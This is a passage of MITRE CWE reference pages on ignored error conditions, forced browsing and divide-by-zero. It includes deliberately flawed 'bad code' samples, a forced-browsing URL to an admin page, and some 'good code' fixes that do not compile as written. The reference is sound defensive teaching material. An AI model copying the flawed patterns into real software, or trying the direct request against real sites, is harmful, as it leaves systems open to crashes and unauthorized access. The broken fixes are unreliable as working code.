updated Relationships, Taxonomy_Mappings
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2009-10-29 CWE Content Team MITRE
updated Description, Other_Notes, Potential_Mitigations
2008-09-08 CWE Content Team MITRE
updated Common_Consequences, Description, Relationships, Other_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
Back to top

CWE-390: Detection of Error Condition Without Action

Weakness ID: 390
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product detects a specific error, but takes no actions to handle the error.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Varies by Context; Unexpected State; Alter Execution Logic

Scope: Integrity, Other

An attacker could utilize an ignored error condition to place the system in an unexpected state that could lead to the execution of unintended logic and could cause other unintended behavior.
+ Potential Mitigations
Phase(s) Mitigation

Implementation
Properly handle each exception. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.

Implementation
If a function returns an error, it is important to either fix the problem and try again, alert the user that an error has happened and let the program continue, or alert the user and close and cleanup the program.

Testing
Subject the product to extensive testing to discover some of the possible instances of where/how errors or return values are not handled. Consider testing techniques such as ad hoc, equivalence partitioning, robustness and fault tolerance, mutation, and fuzzing.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 755 Improper Handling of Exceptional Conditions
PeerOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 600 Uncaught Exception in Servlet
CanPrecede Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 401 Missing Release of Memory after Effective Lifetime
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 389 Error Conditions, Return Values, Status Codes
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1020 Verify Message Integrity
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1


The following example attempts to allocate memory for a character. After the call to malloc, an if statement is used to check whether the malloc function failed.

(bad code)
Example Language: C 
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
//We do nothing so we just ignore the error.
}

The conditional successfully detects a NULL return value from malloc indicating a failure, however it does not do anything to handle the problem. Unhandled errors may have unexpected results and may cause the program to crash or terminate.

Instead, the if block should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following example notifies the user that the malloc function did not allocate the required memory resources and returns an error code.

(good code)
Example Language: C 
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
printf("Malloc failed to allocate memory resources");
return -1;
}


Example 2


In the following C++ example the method readFile() will read the file whose name is provided in the input parameter and will return the contents of the file in char string. The method calls open() and read() may result in errors if the file does not exist or does not contain any data to read. These errors will be thrown when the is_open() method and good() method indicate errors opening or reading the file. However, these errors are not handled within the catch statement. Catch statements that do not perform any processing will have unexpected results. In this case an empty char string will be returned, and the file will not be properly closed.

(bad code)
Example Language: C++ 
char* readfile (char *filename) {
try {
// open input file
ifstream infile;
infile.open(filename);

if (!infile.is_open()) {
throw "Unable to open file " + filename;
}

// get length of file
infile.seekg (0, ios::end);
int length = infile.tellg();
infile.seekg (0, ios::beg);

// allocate memory
char *buffer = new char [length];

// read data from file
infile.read (buffer,length);

if (!infile.good()) {
throw "Unable to read from file " + filename;
}

infile.close();

return buffer;
}
catch (...) {
/* bug: insert code to handle this later */
}
}

The catch statement should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following C++ example contains two catch statements. The first of these will catch a specific error thrown within the try block, and the second catch statement will catch all other errors from within the catch block. Both catch statements will notify the user that an error has occurred, close the file, and rethrow to the block that called the readFile() method for further handling or possible termination of the program.

(good code)
Example Language: C++ 
char* readFile (char *filename) {
try {
// open input file
ifstream infile;
infile.open(filename);

if (!infile.is_open()) {
throw "Unable to open file " + filename;
}

// get length of file
infile.seekg (0, ios::end);
int length = infile.tellg();
infile.seekg (0, ios::beg);

// allocate memory
char *buffer = new char [length];

// read data from file
infile.read (buffer,length);

if (!infile.good()) {
throw "Unable to read from file " + filename;
}
infile.close();

return buffer;
}
catch (char *str) {
printf("Error: %s \n", str);
infile.close();
throw str;
}
catch (...) {
printf("Error occurred trying to read from file \n");
infile.close();
throw;
}
}


Example 3


In the following Java example the method readFile will read the file whose name is provided in the input parameter and will return the contents of the file in a String object. The constructor of the FileReader object and the read method call may throw exceptions and therefore must be within a try/catch block. While the catch statement in this example will catch thrown exceptions in order for the method to compile, no processing is performed to handle the thrown exceptions. Catch statements that do not perform any processing will have unexpected results. In this case, this will result in the return of a null String.

(bad code)
Example Language: Java 
public String readFile(String filename) {
String retString = null;
try {
// initialize File and FileReader objects
File file = new File(filename);
FileReader fr = new FileReader(file);

// initialize character buffer
long fLen = file.length();
char[] cBuf = new char[(int) fLen];

// read data from file
int iRead = fr.read(cBuf, 0, (int) fLen);

// close file
fr.close();

retString = new String(cBuf);
} catch (Exception ex) {
/* do nothing, but catch so it'll compile... */
}
return retString;
}

The catch statement should contain statements that either attempt to fix the problem, notify the user that an exception has been raised and continue processing, or perform some cleanup and gracefully terminate the program. The following Java example contains three catch statements. The first of these will catch the FileNotFoundException that may be thrown by the FileReader constructor called within the try/catch block. The second catch statement will catch the IOException that may be thrown by the read method called within the try/catch block. The third catch statement will catch all other exceptions thrown within the try block. For all catch statements the user is notified that the exception has been thrown and the exception is rethrown to the block that called the readFile() method for further processing or possible termination of the program. Note that with Java it is usually good practice to use the getMessage() method of the exception class to provide more information to the user about the exception raised.

(good code)
Example Language: Java 
public String readFile(String filename) throws FileNotFoundException, IOException, Exception {
String retString = null;
try {
// initialize File and FileReader objects
File file = new File(filename);
FileReader fr = new FileReader(file);

// initialize character buffer
long fLen = file.length();
char [] cBuf = new char[(int) fLen];

// read data from file
int iRead = fr.read(cBuf, 0, (int) fLen);

// close file
fr.close();

retString = new String(cBuf);
} catch (FileNotFoundException ex) {
System.err.println ("Error: FileNotFoundException opening the input file: " + filename );
System.err.println ("" + ex.getMessage() );
throw new FileNotFoundException(ex.getMessage());
} catch (IOException ex) {
System.err.println("Error: IOException reading the input file.\n" + ex.getMessage() );
throw new IOException(ex);
} catch (Exception ex) {
System.err.println("Error: Exception reading the input file.\n" + ex.getMessage() );
throw new Exception(ex);
}
return retString;
}


+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
A GPU data center manager detects an error due to a malformed request but does not act on it, leading to memory corruption.
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 728 OWASP Top Ten 2004 Category A7 - Improper Error Handling
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 851 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 880 CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 962 SFP Secondary Cluster: Unchecked Status Condition
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1306 CISQ Quality Measures - Reliability
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1405 Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1445 OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
CLASP Improper error handling
The CERT Oracle Secure Coding Standard for Java (2011) ERR00-J Do not suppress or ignore checked exceptions
Software Fault Patterns SFP4 Unchecked Status Condition
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005.
<https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>. (URL validated: 2024-11-17)
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 11: Failure to Handle Errors Correctly." Page 183. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		CLASP
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Relationships, Weakness_Ordinalities
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Demonstrative_Examples
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-01-31 CWE Content Team MITRE
updated Description, Potential_Mitigations
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated References, Type
2019-01-03 CWE Content Team MITRE
updated Related_Attack_Patterns, Taxonomy_Mappings
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships, Taxonomy_Mappings
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2014-02-18 CWE Content Team MITRE
updated Related_Attack_Patterns
2012-05-11 CWE Content Team MITRE
updated Common_Consequences, References, Relationships
2011-09-13 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2011-06-27 CWE Content Team MITRE
updated Common_Consequences
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2009-07-27 CWE Content Team MITRE
updated Demonstrative_Examples
2009-03-10 CWE Content Team MITRE
updated Relationships
2008-11-24 CWE Content Team MITRE
updated Demonstrative_Examples, Description, Other_Notes, Potential_Mitigations
2008-09-08 CWE Content Team MITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Improper Error Handling
Back to top

CWE-425: Direct Request ('Forced Browsing')

Weakness ID: 425
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The web application does not adequately enforce appropriate authorization on all restricted URLs, scripts, or files.
+ Extended Description
Web applications susceptible to direct request attacks often make the false assumption that such resources can only be reached through a given navigation path and so only apply authorization at certain points in the path.
+ Alternate Terms
forced browsing
The "forced browsing" term could be misinterpreted to include weaknesses such as CSRF or XSS, so its use is discouraged.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Application Data; Modify Application Data; Execute Unauthorized Code or Commands; Gain Privileges or Assume Identity

Scope: Confidentiality, Integrity, Availability, Access Control

+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design; Operation
Apply appropriate access control authorizations for each access to all restricted URLs, scripts or files.

Architecture and Design
Consider using MVC based frameworks such as Struts.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 288 Authentication Bypass Using an Alternate Path or Channel
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 424 Improper Protection of Alternate Path
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 862 Missing Authorization
CanPrecede Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 98 Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
CanPrecede Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 471 Modification of Assumed-Immutable Data (MAID)
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 417 Communication Channel Errors
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1212 Authorization Errors
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 862 Missing Authorization
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1011 Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Web Based (Undetermined Prevalence)

Web Server (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


If forced browsing is possible, an attacker may be able to directly access a sensitive page by entering a URL similar to the following.

(attack code)
Example Language: JSP 
http://somesite.com/someapplication/admin.jsp


+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Access-control setting in web-based document collaboration tool is not properly implemented by the code, which prevents listing hidden directories but does not prevent direct requests to files in those directories.
Python-based HTTP library did not scope cookies to a particular domain such that "supercookies" could be sent to any domain on redirect.
Bypass authentication via direct request.
Infinite loop or infoleak triggered by direct requests.
Bypass auth/auth via direct request.
Direct request leads to infoleak by error.
Direct request leads to infoleak by error.
Direct request leads to infoleak by error.
Authentication bypass via direct request.
Authentication bypass via direct request.
Authorization bypass using direct request.
Access privileged functionality using direct request.
Upload arbitrary files via direct request.
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 721 OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 722 OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 723 OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 953 SFP Secondary Cluster: Missing Endpoint Authentication
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1031 OWASP Top Ten 2017 Category A5 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1345 OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1436 OWASP Top Ten 2025 Category A01:2025 - Broken Access Control
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Overlaps Modification of Assumed-Immutable Data (MAID), authorization errors, container errors; often primary to other weaknesses such as XSS and SQL injection.

Theoretical

"Forced browsing" is a step-based manipulation involving the omission of one or more steps, whose order is assumed to be immutable. The application does not verify that the first step was performed successfully before the second step. The consequence is typically "authentication bypass" or "path disclosure," although it can be primary to all kinds of weaknesses, especially in languages such as PHP, which allow external modification of assumed-immutable variables.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Direct Request aka 'Forced Browsing'
OWASP Top Ten 2007 A10 CWE More Specific Failure to Restrict URL Access
OWASP Top Ten 2004 A1 CWE More Specific Unvalidated Input
OWASP Top Ten 2004 A2 CWE More Specific Broken Access Control
WASC 34 Predictable Resource Location
Software Fault Patterns SFP30 Missing endpoint authentication
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Modes_of_Introduction, Relationships, Time_of_Introduction
2023-01-31 CWE Content Team MITRE
updated Observed_Examples, Related_Attack_Patterns
2022-10-13 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-07-20 CWE Content Team MITRE
updated Related_Attack_Patterns
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Relationships
2019-06-20 CWE Content Team MITRE
updated Relationships
2018-03-27 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Modes_of_Introduction, Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships
2011-03-29 CWE Content Team MITRE
updated Applicable_Platforms, Description, Relationships
2010-02-16 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2008-10-14 CWE Content Team MITRE
updated Description
2008-09-08 CWE Content Team MITRE
updated Alternate_Terms, Relationships, Relationship_Notes, Taxonomy_Mappings, Theoretical_Notes
2008-08-15 Veracode
Suggested OWASP Top Ten 2004 mapping
2008-07-01 Eric Dalci Cigital
updated Potential_Mitigations, Time_of_Introduction
2008-07-01 Sean Eidemiller Cigital
added/updated demonstrative examples
Back to top

CWE-369: Divide By Zero

Weakness ID: 369
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product divides a value by zero.
+ Extended Description
This weakness typically occurs when an unexpected value is provided to the product, or if an error occurs that is not properly detected. It frequently occurs in calculations involving physical dimensions such as size, length, width, and height.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

DoS: Crash, Exit, or Restart

Scope: Availability

A Divide by Zero results in a crash.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 682 Incorrect Calculation
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 189 Numeric Errors
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 682 Incorrect Calculation
+ Relevant to the view "CISQ Quality Measures (2020)" (View-1305)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 682 Incorrect Calculation
+ Relevant to the view "CISQ Data Protection Measures" (View-1340)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 682 Incorrect Calculation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1


The following Java example contains a function to compute an average but does not validate that the input value used as the denominator is not zero. This will create an exception for attempting to divide by zero. If this error is not handled by Java exception handling, unexpected results can occur.

(bad code)
Example Language: Java 
public int computeAverageResponseTime (int totalTime, int numRequests) {
return totalTime / numRequests;
}

By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. The following Java code example will validate the input value, output an error message, and throw an exception.

(good code)
Example Language: Java 
public int computeAverageResponseTime (int totalTime, int numRequests) throws ArithmeticException {
if (numRequests == 0) {
System.out.println("Division by zero attempted!");
throw ArithmeticException;
}
return totalTime / numRequests;
}


Example 2


The following C/C++ example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.

(bad code)
Example Language: C 
double divide(double x, double y){
return x/y;
}

By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. If the method is called and a zero is passed as the second argument a DivideByZero error will be thrown and should be caught by the calling block with an output message indicating the error.

(good code)
Example Language: C 
const int DivideByZero = 10;
double divide(double x, double y){
if ( 0 == y ){
throw DivideByZero;
}
return x/y;
}
...
try{
divide(10, 0);
}
catch( int i ){
if(i==DivideByZero) {
cerr<<"Divide by zero error";
}
}
Example 2 References:
[REF-371] Alex Allain. "Handling Errors Exceptionally Well in C++". <https://www.cprogramming.com/tutorial/exceptions.html>. URL validated: 2023-04-07.


Example 3


The following C# example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.

(bad code)
Example Language: C# 
int Division(int x, int y){
return (x / y);
}

The method can be modified to raise, catch and handle the DivideByZeroException if the input value used as the denominator is zero.

(good code)
Example Language: C# 
int SafeDivision(int x, int y){
try{
return (x / y);
}
catch (System.DivideByZeroException dbz){
System.Console.WriteLine("Division by zero attempted!");
return 0;
}
}
Example 3 References:
[REF-372] Microsoft. "Exceptions and Exception Handling (C# Programming Guide)". <https://msdn.microsoft.com/pl-pl/library/ms173160(v=vs.100).aspx>.


+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Invalid size value leads to divide by zero.
"Empty" content triggers divide by zero.
Height value of 0 triggers divide by zero.
+ Weakness Ordinalities
Ordinality Description
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods
Method Details

Automated Static Analysis
